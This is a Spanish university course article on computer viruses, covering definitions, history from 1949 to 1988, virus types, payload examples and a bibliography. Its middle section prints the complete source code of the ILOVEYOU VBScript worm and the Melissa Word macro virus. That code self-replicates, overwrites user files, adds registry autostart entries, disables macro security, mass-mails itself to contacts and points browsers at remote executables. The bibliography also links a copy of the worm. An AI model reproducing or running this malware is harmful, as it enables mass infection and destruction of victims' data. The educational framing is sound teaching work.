Nota: Este proyecto ha sido aplazado por no cumplir con los objetivos propuestos en la asignatura.
Volver
Los virus informáticos
Eduardo Guzmán Martí
Este artículo pretende dar una visión general del funcionamiento de los virus así como un trato más profundo de los virus surgidos más recientemente, por lo tanto este documento ya está desactualizado :-).
Introducción
¿Que es un virus?
Un virus es un pequeño programa creado para causar daños, alterar o aprender sobre un Sistema Operativo. Afecta habitualmente a areas vitales del sistema y son capaces de auto-reproducirse, de ahí su similitud con los virus biológicos.
Están presentes desde 1959 y solian ser programados en ensamblador por su alta eficiencia y poco espacio requerido. Hoy en dia proliferan los virus creados en leguajes como Basic, pero estos no son capaces de trabajar con las interrupciones del sistema.
Son creados por educadores, investigadores y gente con mala ..., sa han denominado en algunos sitios como grafittis cybernéticos. El hecho es que son una realidad y la propagación y el coste economico que suponen es muy elevado.
Un virus informático ocupa una cantidad mínima de espacio en disco ( el tamaño es vital para poder pasar desapercibido ), se ejecuta sin conocimiento del usuario y se dedica a autorreplicarse, es decir, hace copias de sí mismo e infecta archivos, tablas de partición o sectores de arranque de los discos duros y disquetes para poder expandirse lo más rápidamente posible. Hoy en día la via de difusión más extendida es a traves del correo electrónico. Esta es una importante via de transmisión de virus creados en lenguajes de alto nivel que gracias a la inexperiencia de la gente y a la pobreza de algunos sistemas operativos de expanden con gran reapidez.
Virii: Este término hace referencia al estudio y desarrollo de virus informáticos. Tras esta palabra se esconde toda una filosofía informática. En Internet podemos encontrar cientos de páginas que tratan el tema, y tras ellas importantes desarrolladores de virus, en algunos casos organizados en grupos con nombres como 29A , La Vieja Guardia, ... Se suele encontrar en estas páginas leyendas del tipo "Los autores no se responsabilizan del contenido de estas páginas" o " solo con fines educativos" pero cuando damos una vuelta por ellas podemos encontrar código destructivo de lo más variado, incluso ponen a disposición de incautos programas ejecutables infectados. También podemos encontrar herramientas de generación de virus tales como el Virus Creation Lab, Trojan Horse, ... Estos grupos son bastante frecuentes en Internet, participando en los grupos de noticias ( ej.: es.comp.virus ) y canales de IRC.
¿Porque se programan los virus? En la mayoria de los casos es por hobby aunque también se hace como mecanismo de publicidad o protesta (como el virus Telefonica) o venganza (el virus Silvia daba la dirección de esta chica a cada uno de los infectados :-P). En otras ocasiones es por orgullo o competitividad entre programadores creando virus cada vez mas destructivos y escurridizos.
Historia
1949: Se da el primer indicio de definición de virus. John Von Neumann (considerado el Julio Verne de la informática), expone su "Teoría y organización de un automata complicado". Nadie podía sospechar de la repercusión de dicho artículo.
1959: En los laboratorios AT&T Bell, se inventa el juego "Guerra Nuclear" (Core Wars) o guerra de nucleos de ferrita. Consistía en una batalla entre los códigos de dos programadores, en la que cada jugador desarrollaba un programa cuya misión era la de acaparar la máxima memoria posible mediante la reproducción de si mismo.
1972: El Creeper es difundido por la red ARPANET. El virus mostraba el mensaje "SOY CREEPER...ATRAPAME SI PUEDES!" (Creeper = enredadera). Ese mismo año es creado su antidoto: el antivirus Reaper (Reaper = Segadora) cuya mision era buscar y destruir al Creeper.
1974: El virus Rabbit hacía una copia de si mismo y lo situaba dos veces en la cola de ejecución del ASP de IBM lo que causaba un bloqueo del sistema.
1980: La red ARPANET es infectada por un "gusano" y queda 72 horas fuera de servicio. La infección fue originada por Robert Tappan Morris, un joven estudiante de informática de 23 años aunque según él fue un accidente.
1981 La IBM PC:
En Agosto de 1981 la International Business Machine lanza al mercado su primera computadora personal, simplemente llamada IBM PC. Un año antes, la IBM habían buscado infructuosamente a Gary Kildall, de la Digital Research, para adquirirle los derechos de su sistema operativo CP/M, pero éste se hizo de rogar, viajando a Miami donde ignoraba las contínuas llamadas de los ejecutivos del "gigante azul".
Es cuando oportunamente surge Bill Gates, de la Microsoft Corporation y adquiere a la Seattle Computer Products, un sistema operativo desarrollado por Tim Paterson, que realmente era un "clone" del CP/M. Gates le hizo algunos ligeros cambios y con el nombre de PC-DOS se lo vendió a la IBM. Sin embargo, Microsoft retuvo el derecho de explotar dicho sistema, bajo el nombre de MS-DOS.
El nombre del sistema operativo de Paterson era "Quick and Dirty DOS" (Rápido y Basto Sistema Operativo de Disco) y tenía varios errores de programación (bugs).
La enorme prisa con la cual se lanzó la IBM PC impidió que se le dotase de un buen sistema operativo y como resultado de esa imprevisión todas las versiones del llamado PC-DOS y posteriormente del MS-DOS fueron totalmente vulnerables a los virus, ya que fundamentalmente heredaron muchos de los conceptos de programación del antiguo sistema operativo CP/M, como por ejemplo el PSP (Program Segment Prefix), una rutina de apenas 256 bytes, que es ejecutada previamente a la ejecución de cualquier programa con extensión EXE o COM.
1983: El juego Core Wars, con adeptos en el MIT, salio a la luz pública en un discurso de Ken Thompson. Dewdney explica los terminos de este juego. Ese mismo año aparece el término virus tal como lo entendemos hoy.
1985: Dewdney intenta enmendar su error publicando otro artículo "Juegos de Computadora virus, gusanos y otras plagas de la Guerra Nuclear atentan contra la memoria de los ordenadores".
1987: Se da el primer caso de contagio masivo de computadoras a través del MacMag Virus también llamado Peace Virus sobre computadoras Macintosh. Este virus fue creado por Richard Brandow y Drew Davison y lo incluyeron en un disco de juegos que repartieron en una reunión de un club de usuarios. Uno de los asistentes, Marc Canter, consultor de Aldus Corporation, se llevó el disco a Chicago y contaminó la computadora en el que realizaba pruebas con el nuevo software Aldus Freehand. El virus contaminó el disco maestro que fue enviado a la empresa fabricante que comercializó su producto infectado por el virus. Se descubre la primera versión del virus "Viernes 13" en los ordenadores de la Universidad Hebrea de Jerusalén.
1988: El virus Brain creado por los hermanos Basit y Alvi Amjad de Pakistan aparece en Estados Unidos.
Tipos de virus
El lenguaje de programación por excelencia para desarrollar virus, es el Assembler pues los denominados lenguajes de alto nivel como Turbo Pascal, C, gestores de bases de datos, etc. han sido diseñados para producir software aplicativos. Una excepción a la regla son los Macro Virus, tratados por separado y los virus desarrollados en Java Scripts, Visual Basic Scripts y de Controles ActiveX, a partir de 1999.
Virus de Boot
Estos virus tienen la habilidad de instalarse en el sector de arranque del disco duro, esta información la guarda en otro punto del disco duro y así condiguen ser lo primero en ejecutarse al iniciar el sistema, otra precaución que pueden tomar es marcar como defectuosos el sector de boot original, así previenen que sea borrado.
Virus de Archivos
Tradicionalmente han infectado archivos COM y EXE, ahora también se ven en otros archivos con extensión DOC, XLS y otros. Estos virus se ocultan al principio o al final del archivo ejecutable dejando intactoo el programa original. Este al ejecutarse deja residente en memoria al virus permitiendo que infecte otros archivos.
Virus de Macro
Estos virus son programas creados en leguajes como Visual Basic para Aplicaciones y otros usados en el scripting de macros del paquete office de Microsoft. La propagación de estos es muy elevada por el gran uso de las plataformas win. Tienen a su favor la inexperiencia o falta de cultura informática de la gente en general que no toman ningún tipo de precauciones o por el contrario son alarmistas, en este caso se producen hoaxes de los que hablaré luego.
Código fuente de algunos virus
Aquí están el codigo fuente de algunos virus de macro.
I LOVE YOU
rem barok
-loveletter(vbe) <i hate go to school> rem by: spyder /
ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume
Next dim
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set
fso = CreateObject("Scripting.FileSystemObject") set file =
fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub
main() On Error Resume Next dim wscr,rr set
wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin =
fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set
dirtemp = fso.GetSpecialFolder(2) Set c =
fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end
sub sub regruns() On Error Resume Next Dim
num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 ",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi n32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download
Directory") if (downread="") then downread="c:\" end if if
(fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 *
Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif
num = 2 then regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif
num = 3 then regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif
num = 4 then regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe" end
if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0)
then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI X",downread&"\WIN-BUGSFIX.exe" regcreate
"HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","about:blank" end if end sub sub
listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For
Each d in dc If d.DriveType = 2 or d.DriveType=3
Then folderlist(d.path&"\") end if Next listadriv = s end
sub sub infectfiles(folderspec) On Error Resume Next dim
f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set
fc = f.Files for each f1 in
fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if
(ext="vbs") or (ext="vbe") then set
ap=fso.OpenTextFile(f1.path,2,true) ap.write
vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or
(ext="wsh") or (ext="sct") or (ext="hta") then set
ap=fso.OpenTextFile(f1.path,2,true) ap.write
vbscopy ap.close bname=fso.GetBaseName(f1.path) set
cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg")
or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write
vbscopy ap.close set
cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3")
or (ext="mp2") then set
mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write
vbscopy mp3.close set
att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if
(eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or
(s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set
scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine
"[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine ";
Please dont edit this script... mIRC will corrupt, if mIRC
will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not
run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine
";Khaled Mardam-Bey" scriptini.WriteLine
";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on
1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt
}" scriptini.WriteLine "n2= /.dcc send
$nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine
"n3=}" scriptini.close eq=folderspec end if end if next end
sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set
f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in
sf infectfiles(f1.path) folderlist(f1.path) next end sub sub
regcreate(regkey,regvalue) Set regedit =
CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end
sub function regget(value) Set regedit =
CreateObject("WScript.Shell") regget=regedit.RegRead(value) end
function function fileexist(filespec) On Error Resume Next dim
msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end
if fileexist = msg end function function folderexist(folderspec) On
Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg
= 0 else msg = 1 end if fileexist = msg end function sub
spreadtoemail() On Error Resume Next dim
x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set
regedit=CreateObject("WScript.Shell") set
out=WScript.CreateObject("Outlook.Application") set
mapi=out.GetNameSpace("MAPI") for ctrlists=1 to
mapi.AddressLists.Count set
a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if
(regv="") then regv=1 end if if
(int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to
a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if
(regad="") then set
male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject =
"ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER
coming from
me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end
if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end
if next Set out=Nothing Set mapi=Nothing end sub sub html On
Error Resume Next dim
lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER
- HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -
LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@
CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila,
Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META
NAME=@-@Description@-@ CONTENT=@-@simple but i think this
is good...@-@>"&vbcrlf&
_ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@
"&vbcrlf&
_ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@
BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf&
_ "<CENTER><p>This HTML file need ActiveX
Control<?-?p><p>To Enable to read this HTML file<BR>-
Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf&
_ "<?-?CENTER><MARQUEE
LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf&
_ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT
language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf&
_ "if (window.screen){var
wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf&
_ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf&
_ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf&
_ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf&
_ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf&
_ "aw=1"&vbcrlf& _ "code=" dta2="set
fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set
dirsystem=fso.GetSpecialFolder(1)"&vbcrlf&
_ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf&
_ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf&
_ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf&
_ "set
wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf&
_ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if
(fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf&
_ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf&
_ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf&
_ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf&
_ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end
if"&vbcrlf& _ "Set regedit =
CreateObject(@-@WScript.Shell@-@)"&vbcrlf&
_ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf&
_ "?-??-?-->"&vbcrlf&
_ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set
fso=CreateObject("Scripting.FileSystemObject") set
c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for
n=0 to
ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if
(l1=n)
then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf&
_" end if next set
b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set
d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write
dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write
dt6 d.close end sub
|
MELISSA
Private Sub
AutoOpen() On Error Resume Next p$ = "clone" If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> ""
Then CommandBars("Macro").Controls("Security...").Enabled =
False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1& Else p$ =
"clone" CommandBars("Tools").Controls("Macro").Enabled =
False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook,
DasMapiName, BreakUmOffASlice Set UngaDasOutlook =
CreateObject("Outlook.Application") Set DasMapiName =
UngaDasOutlook.GetNameSpace("MAPI") If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook"
Then DasMapiName.Logon "profile", "password" For y = 1 To
DasMapiName.AddressLists.Count Set AddyBook =
DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice =
UngaDasOutlook.CreateItem(0) For oo = 1 To
AddyBook.AddressEntries.Count Peep =
AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x +
1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next
oo BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName BreakUmOffASlice.Body = "Here is that document you asked
for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add
ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next
y DasMapiName.Logoff End If p$ =
"clone" System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo" End If Set ADI1 =
ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 =
NormalTemplate.VBProject.VBComponents.Item(1) NTCL =
NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN =
2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then
_ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name =
"Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If
NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect =
NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True
And DoAD <> True Then GoTo CYA If DoNT = True Then Do While
ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines
1 Loop ToInfect.CodeModule.AddFromString ("Private Sub
Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <>
"" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN
= BGN + 1 Loop End If p$ = "clone" If DoAD = True Then Do While
NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines
1 Loop ToInfect.CodeModule.AddFromString ("Private Sub
Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <>
"" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN
= BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And
(InStr(1, ActiveDocument.Name, "Document") = False)
Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf
(InStr(1, ActiveDocument.Name, "Document") <> False)
Then ActiveDocument.Saved = True: End If 'WORD/Melissa written by
Kwyjibo 'Clone written by Duke/SMF 'Works in both Word 2000 and Word
97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word
-> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) =
Minute(Now) Then Selection.TypeText "Twenty-two points,
plus triple-word-score, plus fifty points for using all my letters. Game's
over. I'm outta here." End Sub
|
Algunos payload
Un payload es la forma de manifestarse que tienen los virus. Además de sus efectos sobre el sistema, algunos virus tienen otras manifestaciones más o menos vistosas. A veces con mensajes de texto, otras con distintos gráficos en el monitor. En otras ocasiones el efecto se muestra sobre el propio arbol de directorios. El payload es algo que queda a la elección del capricho artístico del proramador, aquí algunos ejemplos.
El virus Wold Cup 98 te invita a que adivines el ganador de ese mundial, si fallas...

El virus Marbung, con el mismo nombre que el virus biológico, tiene también un efecto bastante catastrófico sobre el sistema además de una inquietante vistosidad.

Aquí podemos ver el efecto sobre el arbol de directorios que produce este gatito verde, Greencat.

Y si te apetece volver del revas algún güindows, aunque eso ya lo hace él solito, te recomiendo el HPS.

Bibliografía
La información que aparece en este documento ha sido recopilada y comentada de distintos sitios de Internet. Aquí están algunos de ellos donde podrás encontrar mucha más información sobre virus y demás enfermedades del PC (y Mac, y ...)
http://hoaxbusters.ciac.org/
http://www.needguide.net/Technology/VirusInfo/virusinfo.html
http://www.olen.net/LOVE-LETTER-FOR-YOU.TXT
http://pp.terra.com.mx/~hugalde/virinfo.html
http://virusattack.xnetwork.com.ar/faqs
http://www.62nds.co.nz/cgi-bin/x/e4015.html?BhDmh
http://www.bocklabs.wisc.edu/~janda/
http://vx.netlux.org/dat/vct.shtml >-utilidades
Sobre este documento
Este documento ha sido creado para asignatura de Seguridad y Protección de la Información de Ingeniería Técnica en Informática de Gestión de la Universidad Jaime I de Castellón, impartida por el profesor Manuel Mollar.
Está disponible en la página de la asignatura (acceso privado) y en: https://spi.es-asi.com